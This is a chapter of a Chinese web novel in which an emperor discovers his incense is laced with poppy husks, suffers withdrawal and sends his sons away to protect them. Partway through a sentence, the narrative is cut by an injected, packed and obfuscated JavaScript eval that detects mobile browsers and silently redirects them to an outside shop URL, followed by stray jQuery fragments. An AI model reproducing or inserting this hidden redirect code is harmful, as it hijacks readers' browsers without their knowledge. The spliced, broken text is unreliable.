文趣网 > 都市小说 > 大祭司她只想搞钱 > 41. 必须站稳的支点
    谢凌渊回府后心绪复杂,夜半时分,他翻墙来了大祭司府。

    “谁?!”

    赵梦初反应过来的时候,谢凌渊已经坐在她床前了,把她吓了好大一跳。

    “靠!谢凌渊你想屎啊!”

    与此同时,谢镜明独自坐寝殿的床上,翻来覆去没有入睡,四周寂静得能听见烛火爆开的噼啪声。

    他低头,盯着自己微微颤抖的手指,那手指不受控制地蜷缩着,想去抓什么,又颓然松开。这种失控的感觉,越来越频繁,越来越强烈。起初只是心烦,后来是骨节酸疼,再后来,竟成了一种生理性的饥渴。他渴望那股甜香,渴望到看见皇后那张脸,都觉得没那么面目可憎了。

    “小点点……”

    他喃喃自语,这个词是屏山“无意”间提起的。说渊儿喝了皇后赐的汤羹,吐了,说有怪味,喝了头晕。屏山那孩子,实心眼,绝不会撒谎。而渊儿那孩子……

    谢镜明眼底闪过一丝复杂的情绪。那孩子看着痴傻,可有时候,那双眼睛清澈得吓人。

    他当时没说什么,只吩咐屏山看好谢凌渊,莫要再让他乱吃东西。可心里,那根弦却绷紧了。

    他强撑着起身,走到内殿的熏笼旁。熏笼里燃着的,是景康宫每日按时送来的“安神香”。他伸手拨开香灰,露出底下暗红色的炭火,和那截尚未燃尽的香饼。一股熟悉的甜暖气息扑面而来,让他瞬间感到一阵眩晕般的舒适,紧绷的神经奇异地松弛了一瞬。

    就是它!

    谢镜明瞳孔骤缩,猛地缩回手,像是被烫到一般。他后退两步,撞在冰冷的墙壁上,才勉强压下那股想要将整块香饼攥进手里的冲动。他太清楚了,这不是安神,这是饮鸩止渴!

    “李德全!”

    他厉声喝道。

    李德全连滚带爬地冲进来,吓得面无人色。

    “陛、陛下……”

    “把这香撤了!”

    谢镜明指着熏笼,手指颤抖。

    “以后,朕殿内,不许再用景康宫送来的任何香料!饮食也一并撤了,朕要吃御膳房现做的,不经任何人手的!”

    “是、是!奴才遵旨!”

    李德全吓得魂飞魄散,赶紧指挥小太监们手忙脚乱地撤香、开窗透气。

    然而,香撤了,窗开了,那股味道却仿佛渗进了殿内的每一寸木料、每一幅帷幔,甚至渗进了他自己的血肉里。戒断的反应来得又快又猛,谢镜明只觉得浑身骨头都在疼,像是有无数钢针在扎,心烦意乱得几乎要撕开自己的胸膛。他蜷缩在龙椅上,冷汗浸透了明黄的寝衣,眼前一阵阵发黑。

    “皇后……好一个皇后……”

    他咬牙切齿,从齿缝里挤出这几个字。他厌恶她,厌恶她的算计,厌恶她背后的丞相势力,更厌恶自己竟然被这点阴私手段拿捏!可身体的本能却在疯狂叫嚣着对那香味的渴望,两种力量在体内撕扯,几乎要将他撕裂。

    “陛下!陛下您怎么了?!”

    李德全见他面色惨白,冷汗涔涔,吓得又要去叫太医。

    “别去!”

    谢镜明猛地睁开眼,眼底一片血红,他死死抓住李德全的手臂,力道大得几乎要捏碎他的骨头,声音嘶哑。

    “不许传太医!不许让任何人知道朕这样!……去,去把赢王叫来!不,等等……把瑾王……把渊儿之前吐的那帕子,拿来给朕看!”

    他需要一个确证,需要一个能让他从这种耻辱的沉沦中挣脱出来的抓手。哪怕这个抓手,是他一直试图保护的、看似痴傻的小儿子。

    李德全慌忙取来那方被妥善收起的丝帕。谢镜明抖着手接过来,凑近鼻尖。帕子上残留的味道已经很淡了,但那甜暖的基调,与他袖中、与殿内残留的气息,一模一样!

    他闭上眼,巨大的羞辱感和愤怒席卷而来,却又在瞬间被更深的无力感取代。他,大越的帝王,竟被枕边人下了药,还查无可查,只能靠一个孩童的直觉来提醒。

    “屏山……说渊儿喝了就吐,就头晕……”

    谢镜明靠在椅背上,声音疲惫至极。

    “可朕……朕却觉得离了这味道,浑身难安。赵梦初……开美食城的赵梦初,她懂这些奇技淫巧,你去,悄悄把她叫来,不用惊动任何人。就问她,这味香料,她那里可有?”

    李德全领命,战战兢兢地去了。

    不多时,赵梦初被带了进来。大晚上的,来不及梳妆,但即使她一身简装,也是神色平静,不见慌乱。

    谢镜明挥退左右,只留李德全在近前,目光如电,射向赵梦初。

    “大祭司,朕且问你,这是何物?可有解法?”

    赵梦初看了一眼那帕子,便什么都知晓了。

    她跪下行礼,不卑不亢。

    “回陛下,罂粟壳非毒,乃一种成瘾之引,多混于香料饮食之中。其性隐秘,初时令人精神愉悦,久食则身心依赖,离之则诸般不适,烦躁疼痛,状若患病。太医诊脉,极易误判为情志之症。”

    “解法呢?”

    谢镜明打断她,声音带着压抑的急切。

    “无解,只有戒断。”

    赵梦初直言。

    “需循序渐进,辅以汤药针灸,调理气血,更需……极强的意志力。此物成瘾易,戒断难,过程中痛苦万分,且易反复。若陛下龙体已深陷其中,则需寻一静谧之处,隔绝源头,由心志坚定者看护,或需数月乃至更久,方能缓解。”

    “数月……”

    谢镜明咀嚼着这两个字,脸上血色尽褪。让他离开朝堂数月?让皇后和丞相那伙人趁机做大?可若不戒,他便永远是被操控的傀儡!

    “皇上。”

    赵梦初抬起头,目光清澈。

    “此物虽非剧毒,但长期依赖,必损龙体根基。且,使用者往往心思深沉,陛下需防其狗急跳墙。”

    谢镜明沉默良久,殿内只闻他粗重的呼吸声。他看向窗外沉沉的暮色,仿佛能看到景康宫那个女人得意的脸。他恨,恨自己的疏忽,恨后宫的阴私,更恨自己此刻的软弱。

    “朕知道了。”

    他终于开口,声音恢复了帝王的冷硬,却透着一丝不易察觉的颤抖。

    “你且退下,今日之事,若有半字泄露,朕诛你九族。”

    赵梦初有九族吗?

    “臣,遵旨。”

    赵梦初叩首,缓缓退下。

    待她走后,谢镜明猛地一拳砸在龙椅扶手上,木屑扎进皮肉,鲜血淋漓,他却仿佛感觉不到疼痛。他抬起手,看着袖口那抹若有若无的甜香来源,眼神从暴怒,渐渐转为一种深不见底的冰冷和决绝。

    “皇后……丞相……”

    他一字一顿,声音低得如同地狱而来的风。

    “你们想要朕离不开这香气,想要拿捏君心……朕偏不如你们的意!屏山……凌渊……”

    他想到那两个儿子。一个心机不足却正直善良;一个看似痴傻,却心思缜密。在这权力的漩涡里,他们都太干净,也太危险。

    “李德全。”

    他唤道,声音嘶哑却不容置疑。

    “拟旨。瑾王谢凌渊,即日准备,赴封地瑾州安居,非诏不得回京。着赢王谢屏山代朕上朝,任何人不得质疑反抗,包括皇后和太子。另外,朕要‘静养’一段时日,养心殿内外,加派亲军,除赢王谢屏山外,任何人不得擅入。就说,朕旧疾复发,需绝对静养。”

    “陛下!这……”

    李德全大惊失色。

    “照做!”

    谢镜明厉喝,随即又疲惫地摆摆手。

    “还有……去寻些寻常的安神香来,味道要淡,要与朕室内味道迥异。朕……要慢慢戒掉这该死的味道。”

    他闭上眼,忍受着体内翻江倒海的戒断反应,但此刻,他别无选择。唯有将凌渊送走,才能斩断皇后可能利用的最后一条纽带,也才能让他自己,有喘息之机去对

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795287|208208||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    付那对阴毒的母子。

    “凌渊……屏山……”

    他在心底默念着两个儿子的名字,第一次清晰地认识到,在这座黄金牢笼里,亲情,竟成了最奢侈,也最需要权衡利弊的筹码。

    知晓了一切的谢屏山此刻如坐针毡,丝毫没有头绪处理政务。

    他坐在案前,盯着摊开的一摞摞奏折,上面的字迹却一个个模糊成了团。

    父皇要“静养”,凌渊要被送去瑾州。这两道无声的命令,像两块巨石,压得他喘不过气。他知道,父皇的“静养”绝非寻常,凌渊的“就藩”更是明晃晃的流放与保护。而这一切的根源,都指向了那碗汤羹,那方帕子,和那股挥之不去的甜香。

    脚步声由远及近,轻巧,带着点拖沓,是谢凌渊。

    谢屏山没有回头,只是低声道。

    “门关上。”

    门吱呀一声合拢。谢凌渊没像往常那样往他怀里扑,只是冷静地找个了地方坐下。

    “三哥。”

    谢屏山身体一颤,转过头看他。

    眼前的谢凌渊,与他印象中的大不相同,那眼神里的了然和沉静,让他心头发酸。

    他张了张嘴,想用“父皇只是累了”这样的话搪塞过去,可对上那双眼睛,他发现自己说不出口。

    “……嗯。”

    谢屏山最终只是应了一声,声音干涩。

    “父皇那边怎么说?”

    “没说什么,只说要静养,让我处理政务。大祭司说,想要戒断那东西,像剥皮抽筋。”

    “父皇是皇帝,天下最厉害的人。可他现在,连自己的身体都管不住了。三哥,你说,我们这样的人,活着是为了什么?为了当皇帝,还是为了……不被别人管着?”

    这问题太过沉重,谢屏山愣住了,一时不知如何作答。他活了二十年,想的不过是尽本分,护家人,何曾深思过这种问题?

    “为了……不被别人管着吧。”

    谢屏山慢慢地说,像是在确认自己的想法。

    “可当了皇帝,就要管天下人,也被天下事管着。”

    谢凌渊盯着谢屏山,像一头狼。

    “三哥,你的心思都写在脸上,人家一眼就看出来了。大家都觉得我是傻子,不足为虑,反而最安全。父皇现在不安全,因为他被皇后管住了。太子现在不安全,因为父皇想管住他。丞相的不安全,因为他想管住所有人。”

    “三哥,父皇让我去瑾州,是为了护我。瑾州远,皇后和丞相的手再长,也有够不着的时候。你在京城,要替父皇看着点,也要替我看着点。我们……得互相看着。我去了瑾州,就是躲在了暗处,有些事情,就可以放心大胆的做了。”

    谢屏山鼻子一酸,差点掉下泪来。

    “凌渊……三哥没用,什么都帮不上。还要你……还要你当弟弟的操心这么多。”

    “三哥有用。”

    谢凌渊冷静地陈述事实。

    “三哥怎会没用?如果三哥没用,怎会守住北境八年安稳?父皇正是因为信任你,才把你派去北境的。所以,你只要老老实实地待着,谁也不敢轻易动你。三哥,你答应我,不管皇后和丞相说什么,你都别自己拿主意,来问我,或者……等父皇清醒了问他。”

    这话像一根针,精准地刺中了谢屏山的软肋。他知道自己脑子不够精明,耳根子软,面对至亲之人的恳求,最难拒绝。凌渊的话,无异于一道提前设下的防线。

    “我答应你。”

    谢屏山收紧了手臂,郑重其事,像是在宣誓。

    “凌渊,三哥答应你,绝不自作主张。凡事,必禀明父皇,或……或等你消息。”

    谢凌渊轻轻“嗯”了一声。

    空气静了几秒。

    “三哥,你也要答应我,好好吃饭,好好睡觉。你把自己熬垮了,谁护着我?我在瑾州,可就真没人了。”

    谢屏山喉头哽咽,只能更用力地点头。